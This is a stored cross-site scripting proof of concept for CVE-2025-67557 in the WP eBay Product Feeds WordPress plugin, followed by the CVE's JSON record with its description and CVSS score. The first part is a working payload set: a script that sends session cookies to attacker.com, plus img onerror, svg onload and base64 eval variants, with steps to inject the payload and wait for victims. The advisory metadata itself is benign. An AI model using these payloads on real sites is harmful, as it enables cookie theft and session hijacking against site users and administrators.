CVE-2025-67557

<!-- Stored XSS PoC for CVE-2025-67557 --> <!-- This PoC demonstrates the storage of malicious JavaScript via plugin input fields --> <!-- Step 1: Identify the vulnerable input field in WP eBay Product Feeds --> <!-- Typically found in plugin settings or feed configuration pages --> <!-- Step 2: Inject the XSS payload --> <script> // Malicious JavaScript payload // Steal session cookies var cookies = document.cookie; // Send cookies to attacker-controlled server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookies); // Alternative payload: Session hijacking alert('XSS Executed - Session: ' + document.cookie); </script> <!-- Alternative payload variations: --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <svg/onload=fetch('https://attacker.com/log?c='+btoa(document.cookie))> <iframe src="javascript:eval(atob('YWxlcnQoJ1hTUyBFeGVjdXRlZCcpOw=='))"> <!-- Step 3: Wait for victim to visit the page containing the stored payload -->

{"cve": {"id": "CVE-2025-67557", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:32.017", "lastModified": "2026-04-27T18:16:42.813", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rhys Wynne WP eBay Product Feeds ebay-feeds-for-wordpress allows Stored XSS.This issue affects WP eBay Product Feeds: from n/a through <= 3.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ebay-feeds-for-wordpress/vulnerability/wordpress-wp-ebay-product-feeds-plugin-3-4-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}